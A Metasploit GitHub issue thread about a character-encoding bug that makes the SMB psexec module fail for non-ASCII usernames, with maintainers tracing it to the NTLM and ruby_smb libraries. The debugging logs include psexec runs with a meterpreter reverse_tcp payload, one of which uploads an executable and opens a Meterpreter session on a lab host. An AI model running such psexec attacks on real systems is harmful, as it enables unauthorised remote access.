rapid7
Ascii-8bit to UTF-8 encoding in smb/psexec
Steps to reproduce
set smbuser järvalv set smbpass whatever set rhost 192.168.1.10 run
Current behavior
Im getting failure due the character "ä" in smbuser Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::loginError Login Failed: "\xC3" from ASCII-8BIT to UTF-8
Version
4.17.23-dev on kali
I installed Metasploit with:
Came with Kali
What OS are you running Metasploit on? Kali
Anyone have any idea how to fix this? Ive been trying for few days but cant seem to get it fixed. I guess i have to change encoding somewhere but where? And without breaking anything else..
Hrm..... I thought I fixed this a long time ago. Can you give a little more info. What OS/language are you using?
Hrm..... I thought I fixed this a long time ago. Can you give a little more info. What OS/language are you using?
lsb_release -a Kali 2019.1
locale LANG=en_US.UTF-8 LANGUAGE= and all the rest are en_US.UTF-8
Basically everything is like default kali install except input source is finnish.
I also updated the metasploit to 5.0.5-dev and the same thing happens.
Still an issue 2020.
Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::loginError Login Failed: "\xC3" from ASCII-8BIT to UTF-8
When logging in to a Swedish locale machine where the admin account is Administratör and the whole underlaying OS is in Swedish.
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
![github-actions[bot] avatar](https://avatars.githubusercontent.com/in/15368?v=4 "Published by a pub.dev verified publisher"){kind=small}
@Torxed Thanks for keeping this issue alive! :+1:
We've updated the issue template a bit since this ticket was raised, we've also released Metasploit 6 which made changes to SMB support. It'd be great to verify if this is still an issue, and if so - seeing a stacktrace could help us greatly.
If you're able to run through these steps with a new version of Metasploit and provide the result to us, that would be great!
https://github.com/rapid7/metasploit-framework/blob/025950ec0b8454da30b040f9a9798e1dd17d6705/.github/ISSUE_TEMPLATE/bug_report.md#additional-information
@adfoster-r7 Awesome, I can give this a try next week. I think I still have a few boxes in a VM setup that runs non-us locale :)
hi there! metasploit v6.1.42-dev same error: [*] 192.168.1.104:445 - Authenticating to 192.168.1.104:445 as user 'Администратор'... [-] 192.168.1.104:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: "\xD0" from ASCII-8BIT to UTF-8
This is on me for forgetting about this issue...
looking forward to the fix in the next update! Good luck!
OK..... I know what the problem is, and where the problem is, but I'm having some trouble fixing it. I would love it if you could run a couple commands to check things further and help me out.
First, I can recreate the issue:
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.5.132.175 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
ng-Metasploit
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass м3Ьзфыыцщкв no The password for the specified username
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read
/write folder share
SMBUser Администратор no The username to authenticate as
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.5.135.101 yes The listen address (an interface may be specified)
LPORT 8585 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.5.135.101:8585
[*] 10.5.132.175:445 - Connecting to the server...
[*] 10.5.132.175:445 - Authenticating to 10.5.132.175:445 as user 'Администратор'...
[-] 10.5.132.175:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: "\xD0" from ASCII-8BIT to UTF-8
[*] Exploit completed, but no session was created.
The reason is because the username and password are UTF-8 values, but the string they're put in is encoded in ASCII/ANSI. We can hop into an irb session and verify:
msf6 exploit(windows/smb/psexec) > irb
[*] Starting IRB shell...
[*] You are in exploit/windows/smb/psexec
>> datastore['smbuser']
=> "\xD0\x90\xD0\xB4\xD0\xBC\xD0\xB8\xD0\xBD\xD0\xB8\xD1\x81\xD1\x82\xD1\x80\xD0\xB0\xD1\x82\xD0\xBE\xD1\x80"
>> datastore['smbuser'].encoding
=> #<Encoding:ASCII-8BIT>
>>
When that gets sent over to ruby_smb, the method session_setup makes sure that the username and password are utf-8 encoded by calling string.encode('utf-8'). We can verify that method will fail by calling it here in our irb session. We get the same error message:
>> datastore['smbuser'].encode('UTF-8')
(irb):3:in `encode': "\xD0" from ASCII-8BIT to UTF-8 (Encoding::UndefinedConversionError)
from (irb):3:in `<main>'
from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/irb_shell.rb:53:in `block in run'
from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/irb_shell.rb:52:in `catch'
from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/irb_shell.rb:52:in `run'
from /home/tmoose/rapid7/metasploit-framework/lib/msf/ui/console/command_dispatcher/developer.rb:125:in `block in cmd_irb'
from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:49:in `with_context'
from /home/tmoose/rapid7/metasploit-framework/lib/msf/ui/console/command_dispatcher/developer.rb:121:in `cmd_irb'
from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:581:in `run_command'
from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:530:in `block in run_single'
from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `each'
from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `run_single'
from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/shell.rb:162:in `run'
from /home/tmoose/rapid7/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
from /home/tmoose/rapid7/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
from ./msfconsole:23:in `<main>'
The optimal way to manage this is to encode in the encoding of the window we're running msfconsole in, but a second solution would be to say that the window is almost assuredly going to be utf-8, so we can just force encode the string so that when ruby_smb gets it, the encoding will match the charset, so there will be no problem calling the encode method:
>> datastore['smbuser'].force_encoding('utf-8')
=> "\u0410\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0442\u043E\u0440"
>> datastore['smbpass'].force_encoding('utf-8')
=> "\u043C3\u042C\u0437\u0444\u044B\u044B\u0446\u0449\u043A\u0432"
>> datastore['smbuser'].encode('UTF-8')
=> "\u0410\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0442\u043E\u0440"
>> datastore['smbpass'].encode('UTF-8')
=> "\u043C3\u042C\u0437\u0444\u044B\u044B\u0446\u0449\u043A\u0432"
That does successfully avoid the exception, but then for me it fails with a bad username/password combination. I'm fairly sure it is correct, though I'm shuffling things around on a standard English keyboard, so there could be an issue there.
>> exit
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.5.135.101:8585
[*] 10.5.132.175:445 - Connecting to the server...
[*] 10.5.132.175:445 - Authenticating to 10.5.132.175:445 as user 'Администратор'...
[-] 10.5.132.175:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.
Is there any chance one of you could try this again, but force the encoding before running the exploit? It would be as simple as getting everything set up, then
msf6 exploit(windows/smb/psexec) > irb
[*] Starting IRB shell...
[*] You are in exploit/windows/smb/psexec
>> datastore['smbuser'].force_encoding('utf-8')
=> "<your username in hex>"
>> datastore['smbpass'].force_encoding('utf-8')
=> "<your password in hex>"
>> exit
msf6 exploit(windows/smb/psexec) > run
I'm also going to tag @cdelafuente-r7 on this because I'd be shocked if this is the only time we ship over utf-8 chars to ruby_smb hiding in a string marked with ASCII encoding. He also might have already dealt with this problem, too, as he's kind of aweSMBe.
Step by step, as in your post: it's for info:
┌──(r00t㉿esxi)-[~]
└─$ smbclient //192.168.1.110/C$ -U юзер
Password for [WORKGROUP\юзер]:
Try "help" to get a list of possible commands.
smb: \> ls
AUTOEXEC.BAT A 0 Thu May 19 12:24:06 2022
boot.ini HS 214 Thu May 19 12:22:40 2022
Bootfont.bin AHSR 4952 Sat Jul 21 23:13:56 2001
CONFIG.SYS A 0 Thu May 19 12:24:06 2022
Documents and Settings D 0 Tue May 24 09:47:26 2022
As you can see - all is good.
PSexec in msf:
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.1.110 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass 123 no The password for the specified username
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser юзер no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.124 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
msf6 exploit(windows/smb/psexec) > irb
[*] Starting IRB shell...
[*] You are in exploit/windows/smb/psexec
>> datastore['smbuser'].force_encoding('utf-8')
=> "\u044E\u0437\u0435\u0440"
>> datastore['smbpass'].force_encoding('utf-8')
=> "123"
>> exit
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.1.124:4444
[*] 192.168.1.110:445 - Connecting to the server...
[*] 192.168.1.110:445 - Authenticating to 192.168.1.110:445 as user 'юзер'...
[-] 192.168.1.110:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.
But i'm sure, that smbuser "юзер" with smbpass "123" is correct. For example i exploit the second user on host, that's is smbuser "user" with smbpass "123":
msf6 exploit(windows/smb/psexec) > set smbuser user
smbuser => user
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.1.124:4444
[*] 192.168.1.110:445 - Connecting to the server...
[*] 192.168.1.110:445 - Authenticating to 192.168.1.110:445 as user 'user'...
[*] 192.168.1.110:445 - Selecting native target
[*] 192.168.1.110:445 - Uploading payload... iHMFtQcb.exe
[*] 192.168.1.110:445 - Created \iHMFtQcb.exe...
[+] 192.168.1.110:445 - Service started successfully...
[*] 192.168.1.110:445 - Deleting \iHMFtQcb.exe...
[*] Sending stage (175174 bytes) to 192.168.1.110
[*] Meterpreter session 1 opened (192.168.1.124:4444 -> 192.168.1.110:1033) at 2022-05-24 10:06:18 +0300
If you need more tests, please say me
Hi @Mussu999, thanks for reporting this. I could reproduce the issue with a stand alone ruby_smb script:
❯ ruby examples/authenticate.rb 192.168.0.45 юзер 123456
SMB3 : (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
Netbios Name: WIN2016SQL
Netbios Domain: MYLAB
FQDN of the computer: win2016sql.mylab.local
FQDN of the domain: mylab.local
FQDN of the forest: mylab.local
Dialect: 0x0311
OS Version: 10.0.14393
SMB2 : (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
Netbios Name: WIN2016SQL
Netbios Domain: MYLAB
FQDN of the computer: win2016sql.mylab.local
FQDN of the domain: mylab.local
FQDN of the forest: mylab.local
Dialect: 0x0210
OS Version: 10.0.14393
SMB1 : (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
Native OS: Windows Server 2016 Standard 14393
Native LAN Manager: Windows Server 2016 Standard 6.3
Netbios Name: WIN2016SQL
Netbios Domain: MYLAB
FQDN of the computer: win2016sql.mylab.local
FQDN of the domain: mylab.local
FQDN of the forest: mylab.local
Dialect: NT LM 0.12
OS Version: 10.0.14393
SMB2 : (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
Netbios Name: WIN2016SQL
Netbios Domain: MYLAB
FQDN of the computer: win2016sql.mylab.local
FQDN of the domain: mylab.local
FQDN of the forest: mylab.local
Dialect: 0x0210
OS Version: 10.0.14393
SMB3 : (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
Netbios Name: WIN2016SQL
Netbios Domain: MYLAB
FQDN of the computer: win2016sql.mylab.local
FQDN of the domain: mylab.local
FQDN of the forest: mylab.local
Dialect: 0x0311
OS Version: 10.0.14393
while it works fine with a Windows client:
C:\Users\smbtest>net use \\192.168.0.45\IPC$ /user:юзер 123456
The command completed successfully.
I compared the PCAP's and the name seems to be encoded the same way in both cases (UTF-16LE). Maybe something is wrong in the NTLM challenge response generation.
@p01terge1st Thanks so much for verifying! @cdelafuente-r7, that's super odd. I was going to dig in and compare the hex values of the string as it got passed around to see if some hidden character got injected somewhere, but if the pcaps are looking the same, that's unlikely as far as the username. It is still possible we're leaving some hidden character that gets truncated somewhere, but I'd assume we did it for both username and password...
Looks like usernames are supposed to fit IA5String, per this LDAP rfc although I am not 100% sure this is the actual standard
The ruby-ntlm library ensures encoding fits utf16le for domain if :unicode is passed as an option here however the username need to pass an upcase call then encoding change is reached. Some validation of encoding might be needed before passing things to the ruby-ntlm tooling.
@cdelafuente-r7 were you looking into this? I want to say we chatted on it?
Alright, I think I found part of the issue and submitted a fix to the rubyntlm library. I believe this will fix the ruby_smb authentication issue I reported in this previous comment.
I now looking to the Metasploit side of this. I let you know.
I submitted a fix to ruby_smb here. Please, let me know if this solves this issue for you. You don't need the rubyntlm fix I submitted yesterday, it is included in this PR already.
The fix has been merged and ruby_smb version 3.2.1 gem has been released.